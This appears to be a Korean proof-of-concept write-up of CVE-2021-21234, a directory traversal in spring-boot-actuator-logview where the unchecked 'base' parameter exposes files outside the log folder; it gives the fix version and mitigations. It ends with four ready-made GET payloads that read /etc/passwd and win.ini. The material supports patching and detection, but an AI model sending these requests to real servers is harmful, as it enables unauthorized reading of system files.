
# CVE-2021-21234 개념 증명 익스플로잇 spring-boot-actuator-logview의 디렉터리 트래버설 취약점으로, base 매개변수를 통해 인증 없이 파일을 읽을 수 있게 해주는 취약점입니다.
CVE-2021-21234 Spring Boot 디렉토리 트래버설
spring-boot-actuator-logview는 spring boot 액추에이터 엔드포인트로 간단한 로그 파일 뷰어를 라이브러리에 추가합니다. 이것은 maven 패키지 "eu.hinsch:spring-boot-actuator-logview"입니다. 0.2.13 이전의 spring-boot-actuator-logview에는 디렉토리 트래버설 취약점이 있습니다. 이 라이브러리의 핵심은 admin(spring boot 액추에이터) HTTP 엔드포인트를 통해 로그 파일 디렉토리를 노출하는 것입니다. 조회할 파일 이름과 기본 폴더(로그 폴더 루트 기준)는 요청 매개변수로 지정할 수 있습니다. 파일 이름 매개변수는 디렉토리 트래버설 공격을 방지하기 위해 검사되지만(filename=../somefile은 작동하지 않음), 기본 폴더 매개변수는 충분히 검사되지 않으므로 filename=somefile&base=../를 사용하여 로깅 기본 디렉토리 외부의 파일에 액세스할 수 있습니다. 이 취약점은 0.2.13에서 패치되었습니다. 0.2.12 사용자는 해당 버전에 다른 변경 사항이 없으므로 아무 문제 없이 업데이트할 수 있습니다. 이 취약점에 대한 해결 방법은 종속성을 업데이트하거나 제거하는 것 외에는 없습니다. 그러나 애플리케이션을 실행하는 사용자에게 애플리케이션 실행에 필요하지 않은 디렉토리에 대한 읽기 권한을 제거하면 영향을 제한할 수 있습니다. 또한 애플리케이션을 리버스 프록시 뒤에 배포하면 logview 엔드포인트에 대한 액세스를 제한할 수 있습니다.
eu.hinsch.spring.boot.actuator.logview.LogViewEndpoint#view
view 함수는 filename 매개변수의 유효성을 검사하지만 base 매개변수의 유효성은 검사하지 않습니다.
GET path:
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # windows
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux